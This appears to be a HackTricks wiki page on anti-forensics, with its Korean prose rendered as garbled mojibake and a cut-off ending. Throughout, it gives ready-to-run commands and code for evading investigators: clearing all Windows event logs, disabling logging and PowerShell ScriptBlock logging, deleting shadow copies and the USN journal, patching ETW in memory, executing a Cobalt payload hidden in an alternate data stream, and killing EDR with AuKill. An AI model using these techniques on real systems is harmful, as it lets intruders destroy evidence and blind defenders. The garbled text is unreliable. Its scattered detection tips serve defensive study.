์ํฐ ํฌ๋ ์ ๊ธฐ๋ฒ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
ํ์์คํฌํ
๊ณต๊ฒฉ์๋ ํ์ผ์ ํ์์คํฌํ๋ฅผ ๋ณ๊ฒฝํ์ฌ ํ์ง๋ฅผ ํผํ๊ณ ์ ํ ์ ์์ต๋๋ค.
ํ์์คํฌํ๋ MFT์ $STANDARD_INFORMATION __ ๋ฐ __ $FILE_NAME ์์ฑ ๋ด์์ ์ฐพ์ ์ ์์ต๋๋ค.
๋ ์์ฑ ๋ชจ๋ 4๊ฐ์ ํ์์คํฌํ๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค: ์์ , ์ ๊ทผ, ์์ฑ, ๋ฐ MFT ๋ ์ง์คํธ๋ฆฌ ์์ (MACE ๋๋ MACB).
Windows ํ์๊ธฐ ๋ฐ ๊ธฐํ ๋๊ตฌ๋ **$STANDARD_INFORMATION**์ ์ ๋ณด๋ฅผ ํ์ํฉ๋๋ค.
TimeStomp - ์ํฐ ํฌ๋ ์ ๋๊ตฌ
์ด ๋๊ตฌ๋ $STANDARD_INFORMATION ๋ด์ ํ์์คํฌํ ์ ๋ณด๋ฅผ ์์ ํ์ง๋ง $FILE_NAME ๋ด์ ์ ๋ณด๋ ์์ ํ์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ์์ฌ์ค๋ฌ์ด ํ๋์ ์๋ณํ ์ ์์ต๋๋ค.
Usnjrnl
USN ์ ๋ (์ ๋ฐ์ดํธ ์ํ์ค ๋ฒํธ ์ ๋)์ NTFS (Windows NT ํ์ผ ์์คํ )์ ๊ธฐ๋ฅ์ผ๋ก, ๋ณผ๋ฅจ ๋ณ๊ฒฝ ์ฌํญ์ ์ถ์ ํฉ๋๋ค. UsnJrnl2Csv ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด ์ด๋ฌํ ๋ณ๊ฒฝ ์ฌํญ์ ๊ฒ์ฌํ ์ ์์ต๋๋ค.
.png)
์ด์ ์ด๋ฏธ์ง๋ ๋๊ตฌ๊ฐ ํ์ํ ์ถ๋ ฅ์ผ๋ก, ํ์ผ์ ๋ํด ์ผ๋ถ ๋ณ๊ฒฝ์ด ์ํ๋์์์ ๊ด์ฐฐํ ์ ์์ต๋๋ค.
$LogFile
ํ์ผ ์์คํ
์ ๋ํ ๋ชจ๋ ๋ฉํ๋ฐ์ดํฐ ๋ณ๊ฒฝ ์ฌํญ์ write-ahead logging์ด๋ผ๋ ํ๋ก์ธ์ค์ ๊ธฐ๋ก๋ฉ๋๋ค. ๊ธฐ๋ก๋ ๋ฉํ๋ฐ์ดํฐ๋ NTFS ํ์ผ ์์คํ
์ ๋ฃจํธ ๋๋ ํ ๋ฆฌ์ ์์นํ **$LogFile**์ด๋ผ๋ ํ์ผ์ ์ ์ฅ๋ฉ๋๋ค. LogFileParser์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ด ํ์ผ์ ํ์ฑํ๊ณ ๋ณ๊ฒฝ ์ฌํญ์ ์๋ณํ ์ ์์ต๋๋ค.
.png)
๋ค์ ๋งํด, ๋๊ตฌ์ ์ถ๋ ฅ์์ ์ผ๋ถ ๋ณ๊ฒฝ์ด ์ํ๋์์์ ํ์ธํ ์ ์์ต๋๋ค.
๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ํ์์คํฌํ๊ฐ ์์ ๋ ์๊ฐ์ ์๋ณํ ์ ์์ต๋๋ค:
.png)
- CTIME: ํ์ผ์ ์์ฑ ์๊ฐ
- ATIME: ํ์ผ์ ์์ ์๊ฐ
- MTIME: ํ์ผ์ MFT ๋ ์ง์คํธ๋ฆฌ ์์
- RTIME: ํ์ผ์ ์ ๊ทผ ์๊ฐ
$STANDARD_INFORMATION ๋ฐ $FILE_NAME ๋น๊ต
์์ฌ์ค๋ฌ์ด ์์ ๋ ํ์ผ์ ์๋ณํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ๋ ์์ฑ์ ์๊ฐ์ ๋น๊ตํ์ฌ ๋ถ์ผ์น๋ฅผ ์ฐพ๋ ๊ฒ์ ๋๋ค.
๋๋ ธ์ด
NTFS ํ์์คํฌํ๋ 100 ๋๋ ธ์ด์ ์ ๋ฐ๋๋ฅผ ๊ฐ์ง๋๋ค. ๋ฐ๋ผ์ 2010-10-10 10:10:**00.000:0000๊ณผ ๊ฐ์ ํ์์คํฌํ๋ฅผ ๊ฐ์ง ํ์ผ์ ์ฐพ๋ ๊ฒ์ ๋งค์ฐ ์์ฌ์ค๋ฝ์ต๋๋ค.
SetMace - ์ํฐ ํฌ๋ ์ ๋๊ตฌ
์ด ๋๊ตฌ๋ $STARNDAR_INFORMATION ๋ฐ $FILE_NAME ๋ ์์ฑ์ ์์ ํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ Windows Vista๋ถํฐ๋ ์ด ์ ๋ณด๋ฅผ ์์ ํ๊ธฐ ์ํด ๋ผ์ด๋ธ OS๊ฐ ํ์ํฉ๋๋ค.
๋ฐ์ดํฐ ์จ๊ธฐ๊ธฐ
NFTS๋ ํด๋ฌ์คํฐ์ ์ต์ ์ ๋ณด ํฌ๊ธฐ๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ฆ, ํ์ผ์ด ํด๋ฌ์คํฐ์ ๋ฐ ๊ฐ๋ฅผ ์ฐจ์งํ๋ฉด, ๋จ์ ๋ฐ์ ํ์ผ์ด ์ญ์ ๋ ๋๊น์ง ์ ๋ ์ฌ์ฉ๋์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ์ด ์ฌ๋ ๊ณต๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ์จ๊ธธ ์ ์์ต๋๋ค.
์ฌ๋์ปค์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด ์ด โ์จ๊ฒจ์งโ ๊ณต๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ์จ๊ธธ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ $logfile ๋ฐ $usnjrnl ๋ถ์์ ํตํด ์ผ๋ถ ๋ฐ์ดํฐ๊ฐ ์ถ๊ฐ๋์์์ ๋ณด์ฌ์ค ์ ์์ต๋๋ค:
.png)
๊ทธ๋ฐ ๋ค์ FTK Imager์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ๋ ๊ณต๊ฐ์ ๋ณต๊ตฌํ ์ ์์ต๋๋ค. ์ด๋ฌํ ์ข ๋ฅ์ ๋๊ตฌ๋ ๋ด์ฉ์ ๋๋ ํํ๊ฑฐ๋ ์ฌ์ง์ด ์ํธํ๋ ์ํ๋ก ์ ์ฅํ ์ ์์ต๋๋ค.
UsbKill
์ด ๋๊ตฌ๋ USB ํฌํธ์์ ๋ณ๊ฒฝ ์ฌํญ์ด ๊ฐ์ง๋๋ฉด ์ปดํจํฐ๋ฅผ ๋๋๋ค.
์ด๋ฅผ ๋ฐ๊ฒฌํ๋ ๋ฐฉ๋ฒ์ ์คํ ์ค์ธ ํ๋ก์ธ์ค๋ฅผ ๊ฒ์ฌํ๊ณ ์คํ ์ค์ธ ๊ฐ ํ์ด์ฌ ์คํฌ๋ฆฝํธ๋ฅผ ๊ฒํ ํ๋ ๊ฒ์
๋๋ค.
๋ผ์ด๋ธ ๋ฆฌ๋ ์ค ๋ฐฐํฌํ
์ด ๋ฐฐํฌํ์ RAM ๋ฉ๋ชจ๋ฆฌ ๋ด์์ ์คํ๋ฉ๋๋ค. ์ด๋ฅผ ๊ฐ์งํ๋ ์ ์ผํ ๋ฐฉ๋ฒ์ NTFS ํ์ผ ์์คํ ์ด ์ฐ๊ธฐ ๊ถํ์ผ๋ก ๋ง์ดํธ๋ ๊ฒฝ์ฐ์ ๋๋ค. ์ฝ๊ธฐ ๊ถํ๋ง์ผ๋ก ๋ง์ดํธ๋๋ฉด ์นจ์ ์ ๊ฐ์งํ ์ ์์ต๋๋ค.
์์ ํ ์ญ์
https://github.com/Claudio-C/awesome-data-sanitization
Windows ๊ตฌ์ฑ
์ฌ๋ฌ Windows ๋ก๊น ๋ฐฉ๋ฒ์ ๋นํ์ฑํํ์ฌ ํฌ๋ ์ ์กฐ์ฌ๋ฅผ ํจ์ฌ ๋ ์ด๋ ต๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
ํ์์คํฌํ ๋นํ์ฑํ - UserAssist
์ด๊ฒ์ ์ฌ์ฉ์๊ฐ ๊ฐ ์คํ ํ์ผ์ ์คํํ ๋ ์ง์ ์๊ฐ์ ์ ์งํ๋ ๋ ์ง์คํธ๋ฆฌ ํค์ ๋๋ค.
UserAssist๋ฅผ ๋นํ์ฑํํ๋ ค๋ฉด ๋ ๋จ๊ณ๋ฅผ ์ํํด์ผ ํฉ๋๋ค:
- ๋ ๊ฐ์ ๋ ์ง์คํธ๋ฆฌ ํค,
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs๋ฐHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled๋ฅผ ๋ชจ๋ 0์ผ๋ก ์ค์ ํ์ฌ UserAssist๋ฅผ ๋นํ์ฑํํ๊ฒ ๋ค๋ ์ ํธ๋ฅผ ๋ณด๋ ๋๋ค. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>์ ๊ฐ์ ๋ ์ง์คํธ๋ฆฌ ํ์ ํธ๋ฆฌ๋ฅผ ์ง์๋๋ค.
ํ์์คํฌํ ๋นํ์ฑํ - Prefetch
์ด๊ฒ์ Windows ์์คํ ์ ์ฑ๋ฅ์ ํฅ์์ํค๊ธฐ ์ํด ์คํ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ํ ์ ๋ณด๋ฅผ ์ ์ฅํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด๊ฒ์ ํฌ๋ ์ ๊ดํ์๋ ์ ์ฉํ ์ ์์ต๋๋ค.
regedit์คํ- ํ์ผ ๊ฒฝ๋ก
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters์ ํ EnablePrefetcher๋ฐEnableSuperfetch๋ฅผ ๋ง์ฐ์ค ์ค๋ฅธ์ชฝ ๋ฒํผ์ผ๋ก ํด๋ฆญ- ๊ฐ ๊ฐ์ 1(๋๋ 3)์์ 0์ผ๋ก ๋ณ๊ฒฝํ๊ธฐ ์ํด ์์ ์ ํ
- ์ฌ๋ถํ
ํ์์คํฌํ ๋นํ์ฑํ - ๋ง์ง๋ง ์ ๊ทผ ์๊ฐ
NTFS ๋ณผ๋ฅจ์์ ํด๋๊ฐ ์ด๋ฆด ๋๋ง๋ค ์์คํ ์ ๊ฐ ๋์ด๋ ํด๋์ ๋ํด ํ์์คํฌํ ํ๋๋ฅผ ์ ๋ฐ์ดํธํ๋ ๋ฐ ์๊ฐ์ ์์ํฉ๋๋ค. ์ด๋ฅผ ๋ง์ง๋ง ์ ๊ทผ ์๊ฐ์ด๋ผ๊ณ ํฉ๋๋ค. ์ฌ์ฉ๋์ด ๋ง์ NTFS ๋ณผ๋ฅจ์์๋ ์ฑ๋ฅ์ ์ํฅ์ ์ค ์ ์์ต๋๋ค.
- ๋ ์ง์คํธ๋ฆฌ ํธ์ง๊ธฐ(Regedit.exe)๋ฅผ ์ฝ๋๋ค.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem์ผ๋ก ์ด๋ํฉ๋๋ค.NtfsDisableLastAccessUpdate๋ฅผ ์ฐพ์ต๋๋ค. ์กด์ฌํ์ง ์์ผ๋ฉด ์ด DWORD๋ฅผ ์ถ๊ฐํ๊ณ ๊ฐ์ 1๋ก ์ค์ ํ์ฌ ํ๋ก์ธ์ค๋ฅผ ๋นํ์ฑํํฉ๋๋ค.- ๋ ์ง์คํธ๋ฆฌ ํธ์ง๊ธฐ๋ฅผ ๋ซ๊ณ ์๋ฒ๋ฅผ ์ฌ๋ถํ ํฉ๋๋ค.
USB ๊ธฐ๋ก ์ญ์
๋ชจ๋ USB ์ฅ์น ํญ๋ชฉ์ USB ์ฅ์น๋ฅผ PC ๋๋ ๋
ธํธ๋ถ์ ์ฐ๊ฒฐํ ๋ ์์ฑ๋๋ ํ์ ํค๋ฅผ ํฌํจํ๋ USBSTOR ๋ ์ง์คํธ๋ฆฌ ํค์ ์ ์ฅ๋ฉ๋๋ค. ์ด ํค๋ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR. ์ด๊ฒ์ ์ญ์ ํ๋ฉด USB ๊ธฐ๋ก์ด ์ญ์ ๋ฉ๋๋ค.
๋ํ USBDeview ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ญ์ ๋์๋์ง ํ์ธํ ์ ์์ต๋๋ค (๊ทธ๋ฆฌ๊ณ ์ญ์ ํ ์ ์์ต๋๋ค).
USB์ ๋ํ ์ ๋ณด๋ฅผ ์ ์ฅํ๋ ๋ ๋ค๋ฅธ ํ์ผ์ C:\Windows\INF ๋ด์ setupapi.dev.log ํ์ผ์
๋๋ค. ์ด๊ฒ๋ ์ญ์ ํด์ผ ํฉ๋๋ค.
์๋์ฐ ๋ณต์ฌ ๋นํ์ฑํ
์๋์ฐ ๋ณต์ฌ ๋ชฉ๋ก์ ๋ณด๋ ค๋ฉด vssadmin list shadowstorage ์คํ
์ญ์ ํ๋ ค๋ฉด vssadmin delete shadow ์คํ
GUI๋ฅผ ํตํด ์ญ์ ํ๋ ค๋ฉด https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html์์ ์ ์๋ ๋จ๊ณ๋ฅผ ๋ฐ๋ฅด์ญ์์ค.
์๋์ฐ ๋ณต์ฌ๋ฅผ ๋นํ์ฑํํ๋ ค๋ฉด ์ฌ๊ธฐ์์ ๋จ๊ณ:
- Windows ์์ ๋ฒํผ์ ํด๋ฆญํ ํ ํ ์คํธ ๊ฒ์ ์์์ โservicesโ๋ฅผ ์ ๋ ฅํ์ฌ ์๋น์ค ํ๋ก๊ทธ๋จ์ ์ฝ๋๋ค.
- ๋ชฉ๋ก์์ โVolume Shadow Copyโ๋ฅผ ์ฐพ์ ์ ํํ ํ ๋ง์ฐ์ค ์ค๋ฅธ์ชฝ ๋ฒํผ์ ํด๋ฆญํ์ฌ ์์ฑ์ ์ ๊ทผํฉ๋๋ค.
- โ์์ ์ ํโ ๋๋กญ๋ค์ด ๋ฉ๋ด์์ ๋นํ์ฑํ๋ฅผ ์ ํํ๊ณ ๋ณ๊ฒฝ ์ฌํญ์ ์ ์ฉํ๊ณ ํ์ธํฉ๋๋ค.
์ด๋ค ํ์ผ์ด ์๋์ฐ ๋ณต์ฌ์ ๋ณต์ฌ๋ ์ง๋ฅผ ๋ ์ง์คํธ๋ฆฌ HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot์์ ์์ ํ ์๋ ์์ต๋๋ค.
์ญ์ ๋ ํ์ผ ๋ฎ์ด์ฐ๊ธฐ
- Windows ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
cipher /w:C์ด๋ C ๋๋ผ์ด๋ธ ๋ด์ ์ฌ์ฉ ๊ฐ๋ฅํ ๋ฏธ์ฌ์ฉ ๋์คํฌ ๊ณต๊ฐ์์ ๋ฐ์ดํฐ๋ฅผ ์ ๊ฑฐํ๋๋ก ์ง์ํฉ๋๋ค. - Eraser์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค.
Windows ์ด๋ฒคํธ ๋ก๊ทธ ์ญ์
- Windows + R โ> eventvwr.msc โ> โWindows ๋ก๊ทธโ ํ์ฅ โ> ๊ฐ ์นดํ ๊ณ ๋ฆฌ๋ฅผ ๋ง์ฐ์ค ์ค๋ฅธ์ชฝ ๋ฒํผ์ผ๋ก ํด๋ฆญํ๊ณ โ๋ก๊ทธ ์ง์ฐ๊ธฐโ ์ ํ
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }
Windows ์ด๋ฒคํธ ๋ก๊ทธ ๋นํ์ฑํ
reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f- ์๋น์ค ์น์ ๋ด์์ โWindows ์ด๋ฒคํธ ๋ก๊ทธโ ์๋น์ค๋ฅผ ๋นํ์ฑํํฉ๋๋ค.
WEvtUtil.exec clear-log๋๋WEvtUtil.exe cl
$UsnJrnl ๋นํ์ฑํ
fsutil usn deletejournal /d c:
๊ณ ๊ธ ๋ก๊น ๋ฐ ์ถ์ ๋ณ์กฐ (2023-2025)
PowerShell ScriptBlock/Module ๋ก๊น
์ต๊ทผ ๋ฒ์ ์ Windows 10/11 ๋ฐ Windows Server๋ Microsoft-Windows-PowerShell/Operational (์ด๋ฒคํธ 4104/4105/4106) ์๋์ ํ๋ถํ PowerShell ํฌ๋ ์ ์ํฐํฉํธ๋ฅผ ๋ณด๊ดํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ค์๊ฐ์ผ๋ก ๋นํ์ฑํํ๊ฑฐ๋ ์ญ์ ํ ์ ์์ต๋๋ค:
# Turn OFF ScriptBlock & Module logging (registry persistence)
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine" \
-Name EnableScriptBlockLogging -Value 0 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" \
-Name EnableModuleLogging -Value 0 -PropertyType DWord -Force
# In-memory wipe of recent PowerShell logs
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
Remove-WinEvent # requires admin & Win11 23H2+
์๋น์๋ ํด๋น ๋ ์ง์คํธ๋ฆฌ ํค์ ๋ณ๊ฒฝ ์ฌํญ๊ณผ PowerShell ์ด๋ฒคํธ์ ๋๋ ์ ๊ฑฐ๋ฅผ ๋ชจ๋ํฐ๋งํด์ผ ํฉ๋๋ค.
ETW (Windows ์ด๋ฒคํธ ์ถ์ ) ํจ์น
์๋ํฌ์ธํธ ๋ณด์ ์ ํ์ ETW์ ํฌ๊ฒ ์์กดํฉ๋๋ค. 2024๋
์ ์ธ๊ธฐ ์๋ ํํผ ๋ฐฉ๋ฒ์ ๋ฉ๋ชจ๋ฆฌ์์ ntdll!EtwEventWrite/EtwEventWriteFull์ ํจ์นํ์ฌ ๋ชจ๋ ETW ํธ์ถ์ด ์ด๋ฒคํธ๋ฅผ ๋ฐ์์ํค์ง ์๊ณ STATUS_SUCCESS๋ฅผ ๋ฐํํ๋๋ก ํ๋ ๊ฒ์
๋๋ค.
// 0xC3 = RET on x64
unsigned char patch[1] = { 0xC3 };
WriteProcessMemory(GetCurrentProcess(),
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
patch, sizeof(patch), NULL);
Public PoCs (์: EtwTiSwallow)๋ PowerShell ๋๋ C++์์ ๋์ผํ ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ๊ตฌํํฉ๋๋ค.
ํจ์น๊ฐ ํ๋ก์ธ์ค-๋ก์ปฌ์ด๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ํ๋ก์ธ์ค์์ ์คํ๋๋ EDR์ ์ด๋ฅผ ๋์น ์ ์์ต๋๋ค.
ํ์ง: ๋ฉ๋ชจ๋ฆฌ์ ntdll๊ณผ ๋์คํฌ์ ntdll์ ๋น๊ตํ๊ฑฐ๋ ์ฌ์ฉ์ ๋ชจ๋ ์ด์ ์ ํํนํฉ๋๋ค.
๋์ฒด ๋ฐ์ดํฐ ์คํธ๋ฆผ (ADS) ๋ถํ
2023๋ ์ ์ ์ฑ์ฝ๋ ์บ ํ์ธ(์: FIN12 ๋ก๋)์ ์ ํต์ ์ธ ์ค์บ๋์ ์์ผ์์ ๋ฒ์ด๋๊ธฐ ์ํด ADS ๋ด๋ถ์ 2๋จ๊ณ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํ ์ด์งํ๋ ๊ฒ์ด ๊ด์ฐฐ๋์์ต๋๋ค:
rem Hide cobalt.bin inside an ADS of a PDF
type cobalt.bin > report.pdf:win32res.dll
rem Execute directly
wmic process call create "cmd /c report.pdf:win32res.dll"
์คํธ๋ฆผ์ ๋์ดํ๋ ค๋ฉด dir /R, Get-Item -Stream * ๋๋ Sysinternals streams64.exe๋ฅผ ์ฌ์ฉํ์ญ์์ค. ํธ์คํธ ํ์ผ์ FAT/exFAT๋ก ๋ณต์ฌํ๊ฑฐ๋ SMB๋ฅผ ํตํด ๋ณต์ฌํ๋ฉด ์จ๊ฒจ์ง ์คํธ๋ฆผ์ด ์ ๊ฑฐ๋๋ฉฐ, ์ด๋ ์กฐ์ฌ์๊ฐ ํ์ด๋ก๋๋ฅผ ๋ณต๊ตฌํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
BYOVD & โAuKillโ (2023)
Bring-Your-Own-Vulnerable-Driver๋ ์ด์ ๋์ฌ์จ์ด ์นจ์
์์ ์ํฐ ํฌ๋ ์์ ์ํด ์ ๊ธฐ์ ์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค. ์คํ ์์ค ๋๊ตฌ AuKill์ ์๋ช
๋ ๊ทธ๋ฌ๋ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ(procexp152.sys)๋ฅผ ๋ก๋ํ์ฌ ์ํธํ ๋ฐ ๋ก๊ทธ ํ๊ดด ์ ์ EDR ๋ฐ ํฌ๋ ์ ์ผ์๋ฅผ ์ผ์ ์ค์งํ๊ฑฐ๋ ์ข
๋ฃํฉ๋๋ค:
AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
AuKill.exe -k CrowdStrike
๋๋ผ์ด๋ฒ๋ ์ดํ ์ ๊ฑฐ๋์ด ์ต์ํ์ ์ํฐํฉํธ๋ฅผ ๋จ๊น๋๋ค.
์ํ ์กฐ์น: Microsoft ์ทจ์ฝํ ๋๋ผ์ด๋ฒ ์ฐจ๋จ ๋ชฉ๋ก(HVCI/SAC)์ ํ์ฑํํ๊ณ , ์ฌ์ฉ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ฒฝ๋ก์์ ์ปค๋ ์๋น์ค ์์ฑ์ ๋ํด ๊ฒฝ๊ณ ํฉ๋๋ค.
๋ฆฌ๋ ์ค ์ํฐ ํฌ๋ ์: ์๊ธฐ ํจ์น ๋ฐ ํด๋ผ์ฐ๋ C2 (2023โ2025)
ํ์ง๋ฅผ ์ค์ด๊ธฐ ์ํ ์๊ธฐ ํจ์น๋ ์์๋ ์๋น์ค (๋ฆฌ๋ ์ค)
์ ๋์๋ค์ ์ฌ์นจํฌ๋ฅผ ๋ฐฉ์งํ๊ณ ์ทจ์ฝ์ฑ ๊ธฐ๋ฐ ํ์ง๋ฅผ ์ต์ ํ๊ธฐ ์ํด ์๋น์ค๋ฅผ ์ ์ฉํ ์งํ โ์๊ธฐ ํจ์นโํ๋ ๊ฒฝํฅ์ด ์ฆ๊ฐํ๊ณ ์์ต๋๋ค. ์์ด๋์ด๋ ์ทจ์ฝํ ๊ตฌ์ฑ ์์๋ฅผ ์ต์ ์ ํฉ๋ฒ์ ์ธ ์ ์คํธ๋ฆผ ๋ฐ์ด๋๋ฆฌ/JAR๋ก ๊ต์ฒดํ์ฌ ์ค์บ๋๊ฐ ํธ์คํธ๋ฅผ ํจ์น๋ ๊ฒ์ผ๋ก ๋ณด๊ณ ํ๋๋ก ํ๋ ๊ฒ์ ๋๋ค. ์ด๋ ์ง์์ฑ๊ณผ C2๋ ์ ์ง๋ฉ๋๋ค.
์์: Apache ActiveMQ OpenWire RCE (CVEโ2023โ46604)
- ํฌ์คํธ ์ต์คํ๋ก์ ํ, ๊ณต๊ฒฉ์๋ค์ Maven Central (repo1.maven.org)์์ ํฉ๋ฒ์ ์ธ JAR๋ฅผ ๊ฐ์ ธ์ค๊ณ , ActiveMQ ์ค์น์์ ์ทจ์ฝํ JAR๋ฅผ ์ญ์ ํ ํ ๋ธ๋ก์ปค๋ฅผ ์ฌ์์ํ์ต๋๋ค.
- ์ด๋ ์ด๊ธฐ RCE๋ฅผ ์ฐจ๋จํ๋ฉด์ ๋ค๋ฅธ ๋ฐํ(ํฌ๋ก , SSH ๊ตฌ์ฑ ๋ณ๊ฒฝ, ๋ณ๋์ C2 ์ํ๋ํธ)์ ์ ์งํ์ต๋๋ค.
์ด์ ์์ (์ค๋ช ์ฉ)
# ActiveMQ install root (adjust as needed)
AMQ_DIR=/opt/activemq
cd "$AMQ_DIR"/lib
# Fetch patched JARs from Maven Central (versions as appropriate)
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-client/5.18.3/activemq-client-5.18.3.jar
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-openwire-legacy/5.18.3/activemq-openwire-legacy-5.18.3.jar
# Remove vulnerable files and ensure the service uses the patched ones
rm -f activemq-client-5.18.2.jar activemq-openwire-legacy-5.18.2.jar || true
ln -sf activemq-client-5.18.3.jar activemq-client.jar
ln -sf activemq-openwire-legacy-5.18.3.jar activemq-openwire-legacy.jar
# Apply changes without removing persistence
systemctl restart activemq || service activemq restart
Forensic/hunting tips
- ์๋น์ค ๋๋ ํ ๋ฆฌ์์ ์์ ๋์ง ์์ ๋ฐ์ด๋๋ฆฌ/JAR ๊ต์ฒด๋ฅผ ๊ฒํ ํฉ๋๋ค:
- Debian/Ubuntu:
dpkg -V activemq๋ฅผ ์ฌ์ฉํ๊ณ ํ์ผ ํด์/๊ฒฝ๋ก๋ฅผ ์ ์ฅ์ ๋ฏธ๋ฌ์ ๋น๊ตํฉ๋๋ค. - RHEL/CentOS:
rpm -Va 'activemq*' - ํจํค์ง ๊ด๋ฆฌ์๊ฐ ์์ ํ์ง ์๋ ๋์คํฌ์ ์๋ JAR ๋ฒ์ ์ด๋ ๋น์ ์์ ์ผ๋ก ์ ๋ฐ์ดํธ๋ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ์ฐพ์ต๋๋ค.
- ํ์๋ผ์ธ:
find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort๋ฅผ ์ฌ์ฉํ์ฌ ctime/mtime๊ณผ ํํ ์ฐฝ์ ์ฐ๊ด์ํต๋๋ค. - ์
ธ ๊ธฐ๋ก/ํ๋ก์ธ์ค ํ
๋ ๋ฉํธ๋ฆฌ: ์ด๊ธฐ ์
์ฉ ์งํ
curl/wget์repo1.maven.org๋๋ ๋ค๋ฅธ ์ํฐํฉํธ CDN์ ๋ํ ์ฆ๊ฑฐ. - ๋ณ๊ฒฝ ๊ด๋ฆฌ: โํจ์นโ๋ฅผ ์ ์ฉํ ์ฌ๋๊ณผ ๊ทธ ์ด์ ๋ฅผ ๊ฒ์ฆํ๋ฉฐ, ํจ์น๋ ๋ฒ์ ์ด ์กด์ฌํ๋ ๊ฒ๋ง ํ์ธํ์ง ์์ต๋๋ค.
Cloudโservice C2 with bearer tokens and antiโanalysis stagers
๊ด์ฐฐ๋ ๋ฌด์ญ ๊ธฐ์ ์ ์ฌ๋ฌ ์ฅ๊ธฐ C2 ๊ฒฝ๋ก์ ๋ฐ๋ถ์ ํจํค์ง์ ๊ฒฐํฉํ์ต๋๋ค:
- ์๋๋ฐ์ฑ ๋ฐ ์ ์ ๋ถ์์ ๋ฐฉํดํ๊ธฐ ์ํ ๋น๋ฐ๋ฒํธ ๋ณดํธ๋ PyInstaller ELF ๋ก๋ (์: ์ํธํ๋ PYZ,
/_MEI*์๋์ ์์ ์ถ์ถ). - ์งํ:
stringsํํธ ์:PyInstaller,pyi-archive,PYZ-00.pyz,MEIPASS. - ๋ฐํ์ ์ํฐํฉํธ:
/tmp/_MEI*๋๋ ์ฌ์ฉ์ ์ ์--runtime-tmpdir๊ฒฝ๋ก๋ก์ ์ถ์ถ. - ํ๋์ฝ๋ฉ๋ OAuth Bearer ํ ํฐ์ ์ฌ์ฉํ๋ Dropbox ์ง์ C2
- ๋คํธ์ํฌ ๋ง์ปค:
